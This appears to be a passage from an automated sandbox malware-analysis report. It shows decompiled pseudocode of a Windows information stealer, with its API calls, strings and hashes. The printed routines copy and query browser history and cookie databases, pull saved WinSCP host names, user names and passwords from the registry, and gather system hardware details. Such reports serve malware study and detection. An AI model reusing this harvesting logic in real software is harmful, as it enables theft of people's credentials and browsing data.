				E0040377C(_t20, _v44);
				_t23 =  &_v36; // 0x6f747349
				E00404B58(_v76, _t177, _t178, _t23, _t215, _t223);
				_t24 =  &_v80; // 0x6f74731d
				E00403D88(_t24, _v36);
				_t97 = E0040776C(_v80, _t177, _t178); // executed
				if(_t97 != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16); // executed
					_t219 = _t218 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By  visits.visit_time DESC LIMIT 0, 10000", 0xffffffff,  &_v20,  &_v24); // executed
						_t220 = _t219 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								E004034E4( &_v48);
								E004034E4( &_v52);
								E004034E4( &_v56);
								_t152 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v48,  *((intOrPtr*)( *_t152))(_v20, 0));
								_t158 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v52,  *((intOrPtr*)( *_t158))(_v20, 1));
								_t164 =  *0x41b1dc; // 0x41ca30
								_t166 =  *((intOrPtr*)( *_t164))(_v20, 2);
								_t220 = _t220 + 0x18;
								E004036DC( &_v56, _t166);
								_push(_v28);
								_push(E00412D40);
								E00403D88( &_v84, _v48);
								_push(_v84);
								_push(E00412D48);
								E00403D88( &_v88, _v52);
								_push(_v88);
								_push(E00412D54);
								E00403D88( &_v92, _v56);
								_push(_v92);
								_push(L"\r\n\r\n");
								E00403E78();
							}
						}
					}
					L9:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t198);
					 *[fs:eax] = _t198;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t213);
					 *[fs:eax] = _t213;
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00412C48);
				_t58 =  &_v92; // 0x6f747311
				E00403BF4(_t58, 4);
				_t59 =  &_v76; // 0x6f747321
				E004034E4(_t59);
				_t60 =  &_v72; // 0x6f747325
				E00403BF4(_t60, 4);
				_t61 =  &_v56; // 0x6f747335
				E00403508(_t61, 3);
				_t62 =  &_v44; // 0x6f747341
				E00403BF4(_t62, 2);
				_t63 =  &_v36; // 0x6f747349
				E004034E4(_t63);
				_t64 =  &_v32; // 0x6f74734d
				E00403BF4(_t64, 2);
				_t65 =  &_v8; // 0x6f747365
				return E00403BDC(_t65);
			}

0x00412974
0x00412974
0x00412975
0x00412977
0x0041297c
0x0041297c
0x0041297e
0x00412980
0x00412980
0x00412980
0x00412983
0x00412984
0x00412985
0x00412986
0x00412989
0x0041298c
0x0041298f
0x00412996
0x00412997
0x0041299c
0x0041299f
0x004129a2
0x004129a5
0x004129ac
0x004129ad
0x004129b2
0x004129b5
0x004129b8
0x004129bd
0x004129c0
0x004129c5
0x004129c8
0x004129cb
0x004129d0
0x004129d3
0x004129e0
0x004129e5
0x004129eb
0x004129f0
0x004129f8
0x004129fd
0x00412a00
0x00412a05
0x00412a10
0x00412a18
0x00412a1b
0x00412a25
0x00412a34
0x00412a39
0x00412a3f
0x00412a47
0x00412a4a
0x00412a4f
0x00412a55
0x00412a5d
0x00412a64
0x00412a80
0x00412a87
0x00412a89
0x00412a8c
0x00412a8e
0x00412aa7
0x00412aae
0x00412ab0
0x00412ab3
0x00412ab5
0x00412b7a
0x00412b7e
0x00412b85
0x00412b88
0x00412b8b
0x00000000
0x00000000
0x00412ac3
0x00412acb
0x00412ad3
0x00412ade
0x00412aef
0x00412afa
0x00412b0b
0x00412b16
0x00412b1d
0x00412b1f
0x00412b27
0x00412b2c
0x00412b2f
0x00412b3a
0x00412b3f
0x00412b42
0x00412b4d
0x00412b52
0x00412b55
0x00412b60
0x00412b65
0x00412b68
0x00412b75
0x00412b75
0x00412b7a
0x00412ab5
0x00412b91
0x00412b95
0x00412b9c
0x00412ba3
0x00412baa
0x00412baf
0x00412bb2
0x00412bc7
0x00412bd5
0x00412a66
0x00412a68
0x00412a6b
0x00412a6b
0x00412bdc
0x00412bdf
0x00412be2
0x00412be7
0x00412bef
0x00412bf4
0x00412bf7
0x00412bfc
0x00412c04
0x00412c09
0x00412c11
0x00412c16
0x00412c1e
0x00412c23
0x00412c26
0x00412c2b
0x00412c33
0x00412c38
0x00412c40

APIs

GetTickCount.KERNEL32 ref: 004129B8
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34
DeleteFileW.KERNEL32(00000000), ref: 00412BD5

Strings

%TEMP%, xrefs: 004129F3
SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000, xrefs: 00412A9E
, xrefs: 00412B68
.tmp, xrefs: 004129D3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000
API String ID: 2381671008-351388873
Opcode ID: 43f79d96b9c6e8ddb8cb28e06724b1d927a4a7cbd8557566252b2eee93550bf7
Instruction ID: f70f4eb6c3a4d74226b28448a77a1ad81309a428455034dfd3705b2b32de383d
Opcode Fuzzy Hash: 43f79d96b9c6e8ddb8cb28e06724b1d927a4a7cbd8557566252b2eee93550bf7
Instruction Fuzzy Hash: C7810B71A00109AFCB00EF95DD82EDEBBB8EF48305F504476F514F72A1DB78AA558B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040CFB8, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 179
registryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040CFB8(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v2072;
				char _v2076;
				char _v2080;
				char _v2084;
				char _v2088;
				char _v2092;
				char _v2096;
				char _v2100;
				char _v2104;
				char _v2108;
				char _v2112;
				char _v2116;
				char _v2120;
				char _v2124;
				char _v2128;
				char _v2132;
				intOrPtr _v2136;
				char _v2140;
				long _t73;
				intOrPtr* _t75;
				intOrPtr* _t91;
				void* _t102;
				void* _t150;
				void* _t151;
				void* _t166;
				intOrPtr _t169;
				void* _t189;
				void* _t197;
				intOrPtr _t200;
				intOrPtr _t201;

				_t198 = __esi;
				_t197 = __edi;
				_t200 = _t201;
				_t151 = 0x10b;
				do {
					_push(0);
					_push(0);
					_t151 = _t151 - 1;
				} while (_t151 != 0);
				_push(__ebx);
				_push(__esi);
				_push(_t200);
				_push(0x40d289);
				_push( *[fs:eax]);
				 *[fs:eax] = _t201;
				E00403C3C( &_v8, L"Software\\Martin Prikryl\\WinSCP 2\\Sessions\\");
				_t73 = RegOpenKeyW(0x80000001, E00403D98(_v8),  &_v12); // executed
				if(_t73 == 0) {
					_t150 = 0;
					while(1) {
						_push(0x800);
						_push( &_v2072);
						_push(_t150);
						_push(_v12);
						_t91 =  *0x41b248; // 0x41c730
						if( *((intOrPtr*)( *_t91))() != 0) {
							goto L7;
						}
						_t150 = _t150 + 1;
						E00403D6C( &_v2080, 0x400,  &_v2072);
						E00403E14( &_v2076, _v2080, _v8, __eflags);
						E004075C0(0x80000001, _t150, L"HostName", _v2076,  &_v16, 0);
						_t102 = E00403DA8(_v16);
						__eflags = _t102 - 2;
						if(_t102 >= 2) {
							E00403D6C( &_v2088, 0x400,  &_v2072);
							E00403E14( &_v2084, _v2088, _v8, __eflags);
							_t198 = E004076B4(0x80000001, _t150, L"PortNumber", _v2084, _t198);
							E00403D6C( &_v2096, 0x400,  &_v2072);
							E00403E14( &_v2092, _v2096, _v8, __eflags);
							E004075C0(0x80000001, _t150, L"UserName", _v2092,  &_v20, 0);
							E00403D6C( &_v2104, 0x400,  &_v2072);
							E00403E14( &_v2100, _v2104, _v8, __eflags);
							E004075C0(0x80000001, _t150, L"Password", _v2100,  &_v24, 0);
							_push( &_v2108);
							E0040377C( &_v2112, _v24);
							_push(_v2112);
							E0040377C( &_v2116, _v20);
							_push(_v2116);
							E0040377C( &_v2120, _v16);
							_pop(_t189);
							_pop(_t166);
							E0040CE7C(_v2120, _t150, _t166, _t189, _t197, _t108, __eflags);
							E00403D88( &_v24, _v2108);
							E0040377C( &_v2124, _v20);
							_push(_v2124);
							E0040377C( &_v2128, _v24);
							_push(_v2128);
							_push(0);
							E0040709C(_t108, _t150,  &_v2140, _t198, __eflags);
							E00403E78();
							E0040377C( &_v2132, _v2136);
							E0040525C(E0040D378, _t150, _v2132, "WinSCP", _t197, _t198, _v2140, 0x40d35c, _v16);
						}
					}
				}
				L7:
				_t75 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t75))(_v12);
				_pop(_t169);
				 *[fs:eax] = _t169;
				_push(E0040D290);
				E00403BF4( &_v2140, 2);
				E00403508( &_v2132, 7);
				E00403BF4( &_v2104, 8);
				E00403BF4( &_v24, 3);
				return E00403BDC( &_v8);
			}

0x0040cfb8
0x0040cfb8
0x0040cfb9
0x0040cfbb
0x0040cfc0
0x0040cfc0
0x0040cfc2
0x0040cfc4
0x0040cfc4
0x0040cfc7
0x0040cfc8
0x0040cfcb
0x0040cfcc
0x0040cfd1
0x0040cfd4
0x0040cfdf
0x0040cffd
0x0040d001
0x0040d007
0x0040d207
0x0040d207
0x0040d212
0x0040d213
0x0040d217
0x0040d218
0x0040d223
0x00000000
0x00000000
0x0040d00e
0x0040d026
0x0040d03a
0x0040d04f
0x0040d057
0x0040d05c
0x0040d05f
0x0040d076
0x0040d08a
0x0040d0a4
0x0040d0bd
0x0040d0d1
0x0040d0e6
0x0040d102
0x0040d116
0x0040d12b
0x0040d136
0x0040d140
0x0040d14b
0x0040d155
0x0040d160
0x0040d16a
0x0040d175
0x0040d176
0x0040d177
0x0040d185
0x0040d193
0x0040d19e
0x0040d1a8
0x0040d1b3
0x0040d1b4
0x0040d1c6
0x0040d1dc
0x0040d1ed
0x0040d202
0x0040d202
0x0040d05f
0x0040d207
0x0040d229
0x0040d22d
0x0040d234
0x0040d238
0x0040d23b
0x0040d23e
0x0040d24e
0x0040d25e
0x0040d26e
0x0040d27b
0x0040d288

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040D289,?,?,00000000,00000000,00000000,?,0040E224,00000000,0040E24F,?,00000000), ref: 0040CFFD

Part of subcall function 004075C0: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Part of subcall function 004075C0: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642

Strings

HostName, xrefs: 0040D045
Password, xrefs: 0040D121
Software\Martin Prikryl\WinSCP 2\Sessions\, xrefs: 0040CFDA
PortNumber, xrefs: 0040D095
WinSCP, xrefs: 0040D1F8
UserName, xrefs: 0040D0DC

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open$QueryValue
String ID: HostName$Password$PortNumber$Software\Martin Prikryl\WinSCP 2\Sessions\$UserName$WinSCP
API String ID: 2123561561-2405151731
Opcode ID: 79bdf0817b6321d353bb55a072b5d364aac95e1eb258b2fb0556055eabd9d787
Instruction ID: 7bd088c3d2db305df17c00e189efb7ed4d5aabbc39bbdde4c0466aab00456710
Opcode Fuzzy Hash: 79bdf0817b6321d353bb55a072b5d364aac95e1eb258b2fb0556055eabd9d787
Instruction Fuzzy Hash: 65711B74A001199BCB10EA55CC81BDEB7F9FF88305F1081BAA548B3291DE34AF45CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00415E3C, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00415E3C(intOrPtr* __eax, void* __ebx, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				signed int _t38;
				signed int _t39;
				signed int _t92;
				void* _t93;
				void* _t94;
				intOrPtr _t113;
				void* _t117;
				intOrPtr _t120;
				intOrPtr _t121;

				_t118 = __esi;
				_t38 = __eax +  *__eax;
				 *_t38 =  *_t38 + _t38;
				_t39 = _t38 | 0x5500000a;
				_t120 = _t121;
				_t93 = 0xb;
				do {
					_push(0);
					_push(0);
					_t93 = _t93 - 1;
					_t124 = _t93;
				} while (_t93 != 0);
				_t92 = _t39;
				_push(_t120);
				_push(0x415fd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121;
				GetSystemInfo( &_v40); // executed
				E00403D88( &_v48,  *_t92);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t92,  &_v60, _t117, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t92,  &_v68, _t117, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t94); // executed
				E004075C0(0x80000002, _t92, _t94, _v64); // executed
				_push(_v52);
				_push(0x416070);
				E00403E78();
				E0040377C(_t92, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t92);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t92,  &_v84, __esi, _t124);
				_push(_v84);
				_push(0x416070);
				E00403E78();
				E0040377C(_t92, _v72);
				_push( *_t92);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t92, _t118, _t124); // executed
				_push(_v88);
				_push(0x4160a8);
				E00403850();
				_push( *_t92);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t92, _t117, _t118);
				_push(_v92);
				E00403850();
				_t113 = 0x4160a8;
				 *[fs:eax] = _t113;
				_push(E00415FD7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e3c
0x00415e3c
0x00415e3e
0x00415e40
0x00415e45
0x00415e47
0x00415e4c
0x00415e4c
0x00415e4e
0x00415e50
0x00415e50
0x00415e50
0x00415e54
0x00415e58
0x00415e59
0x00415e5e
0x00415e61
0x00415e68
0x00415e72
0x00415e77
0x00415e7a
0x00415e7f
0x00415e84
0x00415e8d
0x00415e98
0x00415ea0
0x00415ea9
0x00415eb4
0x00415ec1
0x00415ec2
0x00415ec7
0x00415eca
0x00415ed7
0x00415ee1
0x00415ef0
0x00415efb
0x00415f00
0x00415f09
0x00415f0e
0x00415f11
0x00415f1e
0x00415f28
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3f
0x00415f4b
0x00415f50
0x00415f52
0x00415f5a
0x00415f5f
0x00415f6e
0x00415f75
0x00415f78
0x00415f7b
0x00415f88
0x00415f90
0x00415f98
0x00415fa5
0x00415fad
0x00415fb5
0x00415fbd
0x00415fcf

APIs

GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

Video Info, xrefs: 00415F52
CPU Model: , xrefs: 00415E7A
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415E88
CPU Count: , xrefs: 00415EEB
GetRAM: , xrefs: 00415F2F
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EA4

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: c2c122883a18571bea3b7d7f6b27fcedb62efca94743694b5622b2ebf16fc139
Instruction ID: 841de3dabe4d1ada80fc57b7235bfd5090272e00ed4efe0c369eb699e4c4d56e
Opcode Fuzzy Hash: c2c122883a18571bea3b7d7f6b27fcedb62efca94743694b5622b2ebf16fc139
Instruction Fuzzy Hash: 3941E274A00108ABCB01EFD1D842FCDBBB9EF48305F51813BF504B7296D679EA468B59

Uniqueness

Uniqueness Score: -1.00%

Function 00415E40, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00415E40(signed int __eax, void* __ebx, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				signed int _t38;
				signed int _t91;
				void* _t92;
				void* _t93;
				intOrPtr _t112;
				void* _t116;
				intOrPtr _t119;
				intOrPtr _t120;

				_t117 = __esi;
				_t38 = __eax | 0x5500000a;
				_t119 = _t120;
				_t92 = 0xb;
				do {
					_push(0);
					_push(0);
					_t92 = _t92 - 1;
					_t122 = _t92;
				} while (_t92 != 0);
				_t91 = _t38;
				_push(_t119);
				_push(0x415fd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t120;
				GetSystemInfo( &_v40); // executed
				E00403D88( &_v48,  *_t91);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t91,  &_v60, _t116, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t91,  &_v68, _t116, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t93); // executed
				E004075C0(0x80000002, _t91, _t93, _v64); // executed
				_push(_v52);
				_push(0x416070);
				E00403E78();
				E0040377C(_t91, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t91);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t91,  &_v84, _t117, _t122);
				_push(_v84);
				_push(0x416070);
				E00403E78();
				E0040377C(_t91, _v72);
				_push( *_t91);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t91, _t117, _t122); // executed
				_push(_v88);
				_push(0x4160a8);
				E00403850();
				_push( *_t91);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t91, _t116, _t117);
				_push(_v92);
				E00403850();
				_t112 = 0x4160a8;
				 *[fs:eax] = _t112;
				_push(E00415FD7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e40
0x00415e40
0x00415e45
0x00415e47
0x00415e4c
0x00415e4c
0x00415e4e
0x00415e50
0x00415e50
0x00415e50
0x00415e54
0x00415e58
0x00415e59
0x00415e5e
0x00415e61
0x00415e68
0x00415e72
0x00415e77
0x00415e7a
0x00415e7f
0x00415e84
0x00415e8d
0x00415e98
0x00415ea0
0x00415ea9
0x00415eb4
0x00415ec1
0x00415ec2
0x00415ec7
0x00415eca
0x00415ed7
0x00415ee1
0x00415ef0
0x00415efb
0x00415f00
0x00415f09
0x00415f0e
0x00415f11
0x00415f1e
0x00415f28
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3f
0x00415f4b
0x00415f50
0x00415f52
0x00415f5a
0x00415f5f
0x00415f6e
0x00415f75
0x00415f78
0x00415f7b
0x00415f88
0x00415f90
0x00415f98
0x00415fa5
0x00415fad
0x00415fb5
0x00415fbd
0x00415fcf

APIs

GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

Video Info, xrefs: 00415F52
CPU Model: , xrefs: 00415E7A
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415E88
CPU Count: , xrefs: 00415EEB
GetRAM: , xrefs: 00415F2F
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EA4

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 36ec7999f6a8e53e9896dbccfe9063b53aeffb0c2ea365547012fe7fd4430257
Instruction ID: 196081fafed7d9336189c07f5dab181bd8ca6178f74fa25acf8eb9a608d7e1b8
Opcode Fuzzy Hash: 36ec7999f6a8e53e9896dbccfe9063b53aeffb0c2ea365547012fe7fd4430257
Instruction Fuzzy Hash: C541F274A00108ABCB01EFD1D842FCDBBB9EF48305F91813BF504B7296D679EA468B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDA8, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 371
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040EDA8(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				void* _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				intOrPtr* _t115;
				WCHAR* _t130;
				void* _t143;
				intOrPtr* _t147;
				void* _t149;
				intOrPtr* _t183;
				intOrPtr* _t187;
				void* _t189;
				intOrPtr* _t191;
				intOrPtr* _t195;
				intOrPtr* _t199;
				void* _t201;
				intOrPtr* _t207;
				intOrPtr* _t211;
				void* _t213;
				intOrPtr* _t216;
				void* _t218;
				void* _t222;
				void* _t224;
				void* _t226;
				intOrPtr* _t228;
				void* _t230;
				void* _t236;
				intOrPtr* _t238;
				intOrPtr* _t244;
				intOrPtr* _t254;
				intOrPtr* _t260;
				void* _t262;
				void* _t268;
				intOrPtr* _t297;
				intOrPtr* _t301;
				void* _t306;
				intOrPtr _t331;
				intOrPtr _t333;
				void* _t337;
				intOrPtr _t361;
				intOrPtr _t365;
				intOrPtr _t366;
				void* _t367;
				void* _t368;
				void* _t371;
				void* _t373;

				_t363 = __esi;
				_t362 = __edi;
				_t304 = __ebx;
				_t365 = _t366;
				_t306 = 0x30;
				do {
					_push(0);
					_push(0);
					_t306 = _t306 - 1;
					_t375 = _t306;
				} while (_t306 != 0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				 *[fs:eax] = _t366;
				E00403BDC( &_v32);
				 *[fs:edx] = _t366;
				_t115 =  *0x41b1c4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t115))( *[fs:edx], 0x40f1d7, _t365,  *[fs:eax], 0x40f276, _t365, __edi, __esi, __ebx), __ebx,  &_v84, __esi, _t375);
				_push(_v84);
				E00406FDC( &_v88, __ebx, __edi, __esi, _t375);
				_push(_v88);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t304,  &_v76, _t375);
				E004062FC(L"%TEMP%",  &_v96, _t375);
				_push(_v96);
				_push(0x40f2ac);
				_push(_v40);
				E00403E78();
				E004078D8(_v92, _t304,  &_v80, _t375);
				_t130 = E00403D98(_v80);
				CopyFileW(E00403D98(_v76), _t130, 0xffffffff); // executed
				E0040377C( &_v100, _v80);
				E00404B58(_v100, _t304, _t306,  &_v44, _t363, _t375);
				E00403D88( &_v104, _v44);
				_t143 = E0040776C(_v104, _t304, _t306); // executed
				if(_t143 != 0) {
					_t147 =  *0x41b140; // 0x41ca20
					_t149 =  *((intOrPtr*)( *_t147))(E00403990(_v44),  &_v16); // executed
					_t367 = _t366 + 8;
					__eflags = _t149;
					if(_t149 == 0) {
						_t183 =  *0x41b184; // 0x41c924
						_t187 =  *0x41b2d4; // 0x41ca28
						_t189 =  *((intOrPtr*)( *_t187))(_v16, E00403990( *_t183), 0xffffffff,  &_v20,  &_v24); // executed
						_t368 = _t367 + 0x14;
						__eflags = _t189;
						if(_t189 != 0) {
							_t297 =  *0x41b43c; // 0x41c928
							_t301 =  *0x41b2d4; // 0x41ca28
							_t189 =  *((intOrPtr*)( *_t301))(_v16, E00403990( *_t297), 0xffffffff,  &_v20,  &_v24);
							_t368 = _t368 + 0x14;
						}
						__eflags = _t189;
						if(_t189 == 0) {
							while(1) {
								_t199 =  *0x41b384; // 0x41ca2c
								_t201 =  *((intOrPtr*)( *_t199))(_v20);
								__eflags = _t201 - 0x64;
								if(_t201 != 0x64) {
									goto L22;
								}
								E004034E4( &_v28);
								E004034E4( &_v36);
								_t207 =  *0x41b414; // 0x41ca34
								_t211 =  *0x41b1dc; // 0x41ca30
								_t213 =  *((intOrPtr*)( *_t211))(_v20, 2,  *((intOrPtr*)( *_t207))(_v20, 2));
								_pop(_t337);
								E0040A610(_t213,  &_v28, _t337);
								_t216 =  *0x41b1dc; // 0x41ca30
								_t218 =  *((intOrPtr*)( *_t216))(_v20, 3);
								_t368 = _t368 + 0x18;
								E004036DC( &_v36, _t218);
								_t222 = E00403790(_v28);
								_t305 = _t222;
								_t224 = E00403790(_v36);
								__eflags = _t222 - _t224;
								if(_t222 > _t224) {
									E0040357C( &_v36, _v28);
								}
								_t226 = E00403790(_v36);
								__eflags = _t226;
								if(_t226 != 0) {
									_t228 =  *0x41b1dc; // 0x41ca30
									_t230 =  *((intOrPtr*)( *_t228))(_v20, 0);
									_t371 = _t368 + 8;
									E004036DC( &_v48, _t230);
									E0040357C( &_v52, 0x40f2b8);
									_t236 = E00403790(_v48);
									__eflags = _t236;
									if(_t236 > 0) {
										__eflags =  *_v48 - 0x2e;
										if( *_v48 == 0x2e) {
											E0040357C( &_v52, 0x40f2c8);
										}
									}
									_t238 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v56,  *((intOrPtr*)( *_t238))(_v20, 4));
									_t244 =  *0x41b1dc; // 0x41ca30
									 *((intOrPtr*)( *_t244))(_v20, 5);
									_t373 = _t371 + 0x10;
									E00402A5C();
									__eflags = 1;
									E00402870( &_v360, 1, 0x40f2d0);
									if(__eflags != 0) {
										E0040357C( &_v60, 0x40f2c8);
									} else {
										E0040357C( &_v60, 0x40f2b8);
									}
									_t254 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v64,  *((intOrPtr*)( *_t254))(_v20, 6));
									_t260 =  *0x41b1dc; // 0x41ca30
									_t262 =  *((intOrPtr*)( *_t260))(_v20, 1);
									_t368 = _t373 + 0x10;
									E004036DC( &_v68, _t262);
									E0040357C( &_v72, _v36);
									_t268 = E00403AD4(0x40f2dc, _v64);
									__eflags = _t268;
									if(_t268 != 0) {
										E0040357C( &_v64, 0x40f2e8);
									}
									_push(_v32);
									E00403D88( &_v364, _v48);
									_push(_v364);
									_push(E0040F2F0);
									E00403D88( &_v368, _v52);
									_push(_v368);
									_push(E0040F2F0);
									E00403D88( &_v372, _v56);
									_push(_v372);
									_push(E0040F2F0);
									E00403D88( &_v376, _v60);
